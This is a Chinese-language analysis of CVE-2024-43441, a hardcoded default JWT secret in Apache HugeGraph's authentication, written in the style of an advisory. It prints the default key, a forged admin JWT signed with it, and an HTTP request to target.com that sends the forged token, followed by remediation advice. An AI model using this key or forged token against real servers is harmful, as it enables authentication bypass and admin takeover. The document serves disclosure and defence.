Apache HugeGraph JWT Token密钥硬编码漏洞分析(CVE-2024-43441)

漏洞概述

Apache HugeGraph在认证模块中存在一个JWT Token密钥硬编码漏洞(CVE-2024-43441)。当系统启用了认证功能但未配置auth.token_secret时，系统会使用一个硬编码的默认JWT密钥(FXQXbJtbCLxODc6tGci732pkH1cyf8Qg)，攻击者可利用此默认密钥伪造任意用户的JWT Token，从而绕过认证机制获取系统权限。

漏洞成因

1. 硬编码密钥：系统在未配置自定义JWT密钥时使用默认硬编码密钥
2. 缺乏密钥随机性：默认密钥固定且公开在官方文档中
3. 认证逻辑缺陷：认证机制依赖可预测的JWT签名验证

影响版本

所有使用默认JWT密钥且未配置自定义auth.token_secret的Apache HugeGraph版本。

漏洞分析

JWT构造流程

1. 认证入口：org/apache/hugegraph/api/filter/AuthenticationFilter.java中的authenticate方法
2. Token提取：从AUTHORIZATION头中获取Token
3. Token类型判断：
   • 判断是否为Basic类型(基础认证)
   • 判断是否为Bearer类型(JWT认证)

JWT生成关键代码

在StandardAuthManager.java中：

public String loginUser(String username, String password) {
    // ...验证逻辑...
    return tokenGenerator().create(username, userId, tokenExpire);
}

在TokenGenerator.java中：

public String create(String username, String userId, long expire) {
    Map<String, Object> payload = new HashMap<>();
    payload.put(AuthConstant.TOKEN_USER_NAME, username);
    payload.put(AuthConstant.TOKEN_USER_ID, userId);
    payload.put(AuthConstant.TOKEN_EXPIRE, expire);
    
    return JwtUtil.generateToken(payload, this.secret);
}

JWT载荷结构

生成的JWT Token包含以下声明(claims)：

• user_name: 用户名
• user_id: 用户ID
• exp: 过期时间(时间戳)

默认密钥位置

系统使用硬编码的默认密钥：
FXQXbJtbCLxODc6tGci732pkH1cyf8Qg

漏洞利用条件

1. 系统启用了认证功能
2. 管理员未配置自定义的auth.token_secret
3. 攻击者知道或能够获取默认密钥

漏洞复现步骤

1. 构造恶意JWT Token：

   • 使用默认密钥FXQXbJtbCLxODc6tGci732pkH1cyf8Qg
   • 设置user_name和user_id为admin
   • 设置较长的过期时间

2. 生成示例Token：

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiJhZG1pbiIsImV4cCI6OTczOTUyNDU2N30.Kc_6-EtUz3J8lS9VZEfsEe4BFYz-GIg7SFFfGQ5VNeE

3. 发送请求：

GET /graph HTTP/1.1
Host: target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiJhZG1pbiIsImV4cCI6OTczOTUyNDU2N30.Kc_6-EtUz3J8lS9VZEfsEe4BFYz-GIg7SFFfGQ5VNeE

修复建议

1. 配置自定义密钥：在配置文件中设置强随机密钥

   auth.token_secret=your_random_secure_key_here
   

2. 升级版本：升级到已修复此漏洞的版本

3. 密钥管理：

   • 使用足够长度和复杂度的密钥
   • 定期轮换密钥
   • 不要使用默认密钥或简单密钥

4. 监控与日志：

   • 监控认证失败日志
   • 记录异常认证尝试

技术总结

该漏洞源于认证模块中对安全关键参数(加密密钥)的默认值处理不当。在安全设计中，加密密钥应当：

1. 强制要求配置，不应提供默认值
2. 默认值如果存在，应在首次使用时警告并强制修改
3. 密钥应具备足够的随机性和复杂度

开发者在实现认证系统时，应避免使用硬编码密钥，并确保关键安全参数必须由管理员显式配置。